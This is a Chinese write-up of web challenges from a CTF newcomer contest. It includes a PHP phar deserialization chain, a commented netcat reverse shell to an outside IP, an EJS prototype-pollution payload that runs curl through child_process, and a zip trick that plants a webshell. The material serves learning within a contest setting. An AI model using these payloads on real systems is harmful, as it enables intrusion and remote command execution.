【Dest0g3 520迎新赛】web部分writeup
1NDEX
- 0x00 前言
- 0x01 简练wp
-
-
-
- Phpdest
- Easyphp
- Simplerce
- Easyssti
- Pharpop
- Funny_upload
- Middle
- Nodesoeasy
- EZIP(赛后)
-
-
- 0x02 rethink
0x00 前言
本来想着赛前练手的，没想到被练了…
0x01 简练wp
Phpdest
访问日志可包含
直接getshell
Easyphp
触发error直接得flag
Simplerce
进制编码绕过 str_ireplace
Easyssti
Fuzz一下几个主要的blacklist
参考
https://xz.aliyun.com/t/9584#toc-32
0c过一下空格
Pharpop
__destruct变量销毁会等程序运行完
但是有throw new error 利用php gc强制回收
浅析GC回收机制与phar反序列化 | Arsene.Tang (arsenetang.com)
理一下链子思路
D类用来写phar包与触发反序列化
__destruct入口点tree类起手
Air类进行目的实现
利用php原生类
DirectoryIterator进行flag文件名根目录匹配
SplFileObject进行读取
Pop：
$b = new tree();
$b->name=new apple();
$b->name->xxx=new air();
// $b->name->flag="glob:///f*";
$b->name->flag="/fflaggg";
$b->name->xxx->p=new banana();
// $b->name->xxx->p->act="DirectoryIterator";
$b->name->xxx->p->act="SplFileObject";
$c[]=$b;
$c[]=1;
// echo(serialize($a));
// class Mysql{
// public $conn=;
// }
@unlink("2.phar.tar.gz");
@unlink("2.phar");
$phar = new Phar("2.phar"); //后缀名必须为phar
// $phar = $phar->convertToExecutable(Phar::TAR, Phar::GZ); //压缩规避敏感字符
$phar->startBuffering();
$phar->setStub("GIF89a".""); //设置stub
// $o->code="system('nc 1.15.67.48 7777 -e /bin/sh');";
$phar->setMetadata($c); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
// phar生成
Funny_upload
传个.htaccess
data://没用成功
后面上去看了一下配置里include没开
回头再本地试试
Shell.txt直接传个base64_encode的马
蚁剑直接连
Middle
原题
Pker生成opcode
就在根目录
Nodesoeasy
Ejs模板引擎的原型链污染
网上很多poc
{"__proto__":{"client":true,"escapeFunction":"1; return global.process.mainModule.constructor._load('child_process').execSync('curl http://1.15.67.48');","compileDebug":true}}
反弹shell直接拿flag
EZIP(赛后)
在这里插入代码片
fuzz了一天没想到源码藏在se图里…
Oh you find key:dXBsb2FkLnBocDoKPD9waHAKZXJyb3JfcmVwb3J0aW5nKDApOwppbmNsdWRlKCJ6aXAucGhwIik7CmlmKGlzc2V0KCRfRklMRVNbJ2ZpbGUnXVsnbmFtZSddKSl7CiAgICBpZihzdHJzdHIoJF9GSUxFU1snZmlsZSddWyduYW1lJ10sIi4uIil8fHN0cnN0cigkX0ZJTEVTWydmaWxlJ11bJ25hbWUnXSwiLyIpKXsKICAgICAgICBlY2hvICJoYWNrZXIhISI7CiAgICAgICAgZXhpdDsKICAgIH0KICAgIGlmKHBhdGhpbmZvKCRfRklMRVNbJ2ZpbGUnXVsnbmFtZSddLCBQQVRISU5GT19FWFRFTlNJT04pIT0iemlwIil7CiAgICAgICAgZWNobyAib25seSB6aXAhISI7CiAgICAgICAgZXhpdDsKICAgIH0KICAgICRNeXppcCA9IG5ldyB6aXAoJF9GSUxFU1snZmlsZSddWyduYW1lJ10pOwogICAgbWtkaXIoJE15emlwLT5wYXRoKTsKICAgIG1vdmVfdXBsb2FkZWRfZmlsZSgkX0ZJTEVTWydmaWxlJ11bJ3RtcF9uYW1lJ10sICcuLycuJE15emlwLT5wYXRoLicvJyAuICRfRklMRVNbJ2ZpbGUnXVsnbmFtZSddKTsKICAgIGVjaG8gIlRyeSB0byB1bnppcCB5b3VyIHppcCB0byAvIi4kTXl6aXAtPnBhdGguIjxicj4iOwogICAgaWYoJE15emlwLT51bnppcCgpKXtlY2hvICJTdWNjZXNzIjt9ZWxzZXtlY2hvICJmYWlsZWQiO30KfQoKemlwLnBocDoKPD9waHAKY2xhc3MgemlwCnsKICAgIHB1YmxpYyAkemlwX25hbWU7CiAgICBwdWJsaWMgJHBhdGg7CiAgICBwdWJsaWMgJHppcF9tYW5hZ2VyOwoKICAgIHB1YmxpYyBmdW5jdGlvbiBfX2NvbnN0cnVjdCgkemlwX25hbWUpewogICAgICAgICR0aGlzLT56aXBfbWFuYWdlciA9IG5ldyBaaXBBcmNoaXZlKCk7CiAgICAgICAgJHRoaXMtPnBhdGggPSAkdGhpcy0+Z2VuX3BhdGgoKTsKICAgICAgICAkdGhpcy0+emlwX25hbWUgPSAkemlwX25hbWU7CiAgICB9CiAgICBwdWJsaWMgZnVuY3Rpb24gZ2VuX3BhdGgoKXsKICAgICAgICAkY2hhcnM9ImFiY2RlZmdoaWprbG1ub3BxcnN0dXZ3eHl6QUJDREVGR0hJSktMTU5PUFFSU1RVVldYWVowMTIzNDU2Nzg5IjsKICAgICAgICAkbmV3Y2hhcnM9c3RyX3NwbGl0KCRjaGFycyk7CiAgICAgICAgc2h1ZmZsZSgkbmV3Y2hhcnMpOwogICAgICAgICRjaGFyc19rZXk9YXJyYXlfcmFuZCgkbmV3Y2hhcnMsMTUpOwogICAgICAgICRmbnN0ciA9ICIiOwogICAgICAgIGZvcigkaT0wOyRpPDE1OyRpKyspewogICAgICAgICAgICAkZm5zdHIuPSRuZXdjaGFyc1skY2hhcnNfa2V5WyRpXV07CiAgICAgICAgfQogICAgICAgIHJldHVybiBtZDUoJGZuc3RyLnRpbWUoKS5taWNyb3RpbWUoKSoxMDAwMDApOwogICAgfQoKICAgIHB1YmxpYyBmdW5jdGlvbiBkZWxkaXIoJGRpcikgewogICAgICAgIC8v5YWI5Yig6Zmk55uu5b2V5LiL55qE5paH5Lu277yaCiAgICAgICAgJGRoID0gb3BlbmRpcigkZGlyKTsKICAgICAgICB3aGlsZSAoJGZpbGUgPSByZWFkZGlyKCRkaCkpIHsKICAgICAgICAgICAgaWYoJGZpbGUgIT0gIi4iICYmICRmaWxlIT0iLi4iKSB7CiAgICAgICAgICAgICAgICAkZnVsbHBhdGggPSAkZGlyLiIvIi4kZmlsZTsKICAgICAgICAgICAgICAgIGlmKCFpc19kaXIoJGZ1bGxwYXRoKSkgewogICAgICAgICAgICAgICAgICAgIHVubGluaygkZnVsbHBhdGgpOwogICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAkdGhpcy0+ZGVsZGlyKCRmdWxscGF0aCk7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgY2xvc2VkaXIoJGRoKTsKICAgIH0KICAgIGZ1bmN0aW9uIGRpcl9saXN0KCRkaXJlY3RvcnkpCiAgICB7CiAgICAgICAgJGFycmF5ID0gW107CgogICAgICAgICRkaXIgPSBkaXIoJGRpcmVjdG9yeSk7CiAgICAgICAgd2hpbGUgKCRmaWxlID0gJGRpci0+cmVhZCgpKSB7CiAgICAgICAgICAgIGlmICgkZmlsZSAhPT0gJy4nICYmICRmaWxlICE9PSAnLi4nKSB7CiAgICAgICAgICAgICAgICAkYXJyYXlbXSA9ICRmaWxlOwogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIHJldHVybiAkYXJyYXk7CiAgICB9CiAgICBwdWJsaWMgZnVuY3Rpb24gdW56aXAoKQogICAgewogICAgICAgICRmdWxscGF0aCA9ICIvdmFyL3d3dy9odG1sLyIuJHRoaXMtPnBhdGguIi8iLiR0aGlzLT56aXBfbmFtZTsKICAgICAgICAkd2hpdGVfbGlzdCA9IFsnanBnJywncG5nJywnZ2lmJywnYm1wJ107CiAgICAgICAgJHRoaXMtPnppcF9tYW5hZ2VyLT5vcGVuKCRmdWxscGF0aCk7CiAgICAgICAgZm9yICgkaSA9IDA7JGkgPCAkdGhpcy0+emlwX21hbmFnZXItPmNvdW50KCk7JGkgKyspIHsKICAgICAgICAgICAgaWYgKHN0cnN0cigkdGhpcy0+emlwX21hbmFnZXItPmdldE5hbWVJbmRleCgkaSksIi4uLyIpKXsKICAgICAgICAgICAgICAgIGVjaG8gInlvdSBiYWQgYmFkIjsKICAgICAgICAgICAgICAgIHJldHVybiBmYWxzZTsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICBpZighJHRoaXMtPnppcF9tYW5hZ2VyLT5leHRyYWN0VG8oJHRoaXMtPnBhdGgpKXsKICAgICAgICAgICAgZWNobyAiVW56aXAgdG8gLyIuJHRoaXMtPnBhdGguIi8gZmFpbGVkIjsKICAgICAgICAgICAgZXhpdDsKICAgICAgICB9CiAgICAgICAgQHVubGluaygkZnVsbHBhdGgpOwogICAgICAgICRmaWxlX2xpc3QgPSAkdGhpcy0+ZGlyX2xpc3QoIi92YXIvd3d3L2h0bWwvIi4kdGhpcy0+cGF0aC4iLyIpOwogICAgICAgIGZvcigkaT0wOyRpPHNpemVvZigkZmlsZV9saXN0KTskaSsrKXsKICAgICAgICAgICAgaWYoaXNfZGlyKCR0aGlzLT5wYXRoLiIvIi4kZmlsZV9saXN0WyRpXSkpewogICAgICAgICAgICAgICAgZWNobyAiZGlyPyBJIGRlbGV0ZWQgYWxsIHRoaW5ncyBpbiBpdCIuIjxicj4iO0AkdGhpcy0+ZGVsZGlyKCIvdmFyL3d3dy9odG1sLyIuJHRoaXMtPnBhdGguIi8iLiRmaWxlX2xpc3RbJGldKTtAcm1kaXIoIi92YXIvd3d3L2h0bWwvIi4kdGhpcy0+cGF0aC4iLyIuJGZpbGVfbGlzdFskaV0pOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGVsc2V7CiAgICAgICAgICAgICAgICBpZighaW5fYXJyYXkocGF0aGluZm8oJGZpbGVfbGlzdFskaV0sIFBBVEhJTkZPX0VYVEVOU0lPTiksJHdoaXRlX2xpc3QpKSB7ZWNobyAib25seSBpbWFnZSEhISBJIGRlbGV0ZWQgaXQgZm9yIHlvdSIuIjxicj4iO0B1bmxpbmsoIi92YXIvd3d3L2h0bWwvIi4kdGhpcy0+cGF0aC4iLyIuJGZpbGVfbGlzdFskaV0pO30KICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICByZXR1cm4gdHJ1ZTsKCiAgICB9CgoKfQo=
upload.php:
<?php
error_reporting(0);
include("zip.php");
if(isset($_FILES['file']['name'])){
if(strstr($_FILES['file']['name'],"..")||strstr($_FILES['file']['name'],"/")){
echo "hacker!!";
exit;
}
if(pathinfo($_FILES['file']['name'], PATHINFO_EXTENSION)!="zip"){
echo "only zip!!";
exit;
}
$Myzip = new zip($_FILES['file']['name']);
mkdir($Myzip->path);
move_uploaded_file($_FILES['file']['tmp_name'], './'.$Myzip->path.'/' . $_FILES['file']['name']);
echo "Try to unzip your zip to /".$Myzip->path."
";
if($Myzip->unzip()){echo "Success";}else{echo "failed";}
}
zip.php:
<?php
class zip
{
public $zip_name;
public $path;
public $zip_manager;
public function __construct($zip_name){
$this->zip_manager = new ZipArchive();
$this->path = $this->gen_path();
$this->zip_name = $zip_name;
}
public function gen_path(){
$chars="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
$newchars=str_split($chars);
shuffle($newchars);
$chars_key=array_rand($newchars,15);
$fnstr = "";
for($i=0;$i<15;$i++){
$fnstr.=$newchars[$chars_key[$i]];
}
return md5($fnstr.time().microtime()*100000);
}
public function deldir($dir) {
//先删除目录下的文件：
$dh = opendir($dir);
while ($file = readdir($dh)) {
if($file != "." && $file!="..") {
$fullpath = $dir."/".$file;
if(!is_dir($fullpath)) {
unlink($fullpath);
} else {
$this->deldir($fullpath);
}
}
}
closedir($dh);
}
function dir_list($directory)
{
$array = [];
$dir = dir($directory);
while ($file = $dir->read()) {
if ($file !== '.' && $file !== '..') {
$array[] = $file;
}
}
return $array;
}
public function unzip()
{
$fullpath = "/var/www/html/".$this->path."/".$this->zip_name;
$white_list = ['jpg','png','gif','bmp'];
$this->zip_manager->open($fullpath);
for ($i = 0;$i < $this->zip_manager->count();$i ++) {
if (strstr($this->zip_manager->getNameIndex($i),"../")){
echo "you bad bad";
return false;
}
}
if(!$this->zip_manager->extractTo($this->path)){
echo "Unzip to /".$this->path."/ failed";
exit;
}
@unlink($fullpath);
$file_list = $this->dir_list("/var/www/html/".$this->path."/");
for($i=0;$i<sizeof($file_list);$i++){
if(is_dir($this->path."/".$file_list[$i])){
echo "dir? I deleted all things in it"."
";@$this->deldir("/var/www/html/".$this->path."/".$file_list[$i]);@rmdir("/var/www/html/".$this->path."/".$file_list[$i]);
}
else{
if(!in_array(pathinfo($file_list[$i], PATHINFO_EXTENSION),$white_list)) {echo "only image!!! I deleted it for you"."
";@unlink("/var/www/html/".$this->path."/".$file_list[$i]);}
}
}
return true;
}
}
很菜审计了很久没想到代码层面能绕过（期待大佬wp等复现）
后来问的别的师傅通过unzip报错就行，当初也有这个思路但是不会实现…(果然人什么都要学的)
先写个正常webshell放php
然后压缩的时候创建一个同名目录（目录里随便放点东西）
touch password.php
zip -y pwn.zip password.php
rm password.php
mkdir password.php
echo 1 > ./password.php/1
zip -y pwn.zip password.php/1
可以看到虽然报错，但依旧解压成功了
nl
suid提权
0x02 rethink
好久没更了，还是要发一下
之后有空把后面的一起复现再发了
又被自己菜麻了，果然还是什么都不会…